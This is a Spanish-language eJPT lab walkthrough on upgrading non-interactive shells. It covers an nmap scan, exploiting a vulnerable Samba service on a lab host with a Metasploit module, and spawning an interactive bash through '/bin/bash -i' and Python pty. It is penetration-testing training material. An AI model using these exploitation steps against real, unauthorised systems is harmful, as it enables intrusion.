> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/shells/actualizacion-de-shells-no-interactivos.md). # Actualización de shells no interactivos ## 🧪 Laboratorio Práctico **Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

**Paso 2:** Verifique si la máquina de destino es accesible: **Dominio:** ``` ping -c 4 demo.ine.local ```

El objetivo es alcanzable. **Paso 3:** Escaneo de puertos con Nmap. Para empezar, necesitamos identificar un servicio vulnerable ejecutándose en el sistema objetivo. Esto se puede lograr mediante un análisis de detección de versiones del servicio con Nmap. **Dominio:** ``` nmap -sV demo.ine.local ``` Como se muestra en la siguiente captura de pantalla, el escaneo de Nmap revela una versión vulnerable de SAMBA que se ejecuta en el puerto 445 y que puede explotarse mediante el uso de un módulo Metasploit.

**Paso 4:** Obtener acceso. Para poder utilizar este módulo de exploit, necesitaremos iniciar la Consola de Metasploit Framework (msfconsole), esto se puede hacer ejecutando el siguiente comando: **Dominio:** ``` msfconsole ```

Después de iniciar msfconsole, podemos cargar el módulo ejecutando el siguiente comando: **Dominio:** ``` use exploit/linux/samba/is_known_pipename ```

Ahora tendremos que configurar las opciones del módulo; más específicamente, establecer el objetivo. Esto se puede hacer ejecutando el siguiente comando: **Dominio:** ``` set RHOSTS demo.ine.local ```

Después de configurar las opciones del módulo, podemos ejecutar el módulo de exploit ejecutando el siguiente comando: **Dominio:** ``` exploit ``` Como se muestra en la siguiente captura de pantalla, el módulo de explotación se ejecuta con éxito y nos proporciona una sesión de shell de comando en el sistema de destino.

Ahora que hemos obtenido acceso al sistema de destino Linux, podemos explorar el proceso de actualización de shells no interactivos. **Paso 5:** Actualización de shells no interactivos. Siempre que obtenga acceso al sistema de destino con un shell de comandos no interactivo, se recomienda actualizar el shell para evitar problemas con la entrada y la salida. La primera técnica implica generar una sesión bash, esto se puede hacer ejecutando el siguiente comando: **Dominio:** ``` /bin/bash -i ```

Como se muestra en la captura de pantalla anterior, esto le proporcionará una sesión bash. También podemos generar una sesión bash con Python ejecutando el siguiente comando: **Dominio:** ``` python -c 'import pty; pty.spawn("/bin/bash")' ```

#### Conclusión En este laboratorio, exploramos el proceso de actualización de shells no interactivos en un sistema de destino que ejecuta Linux.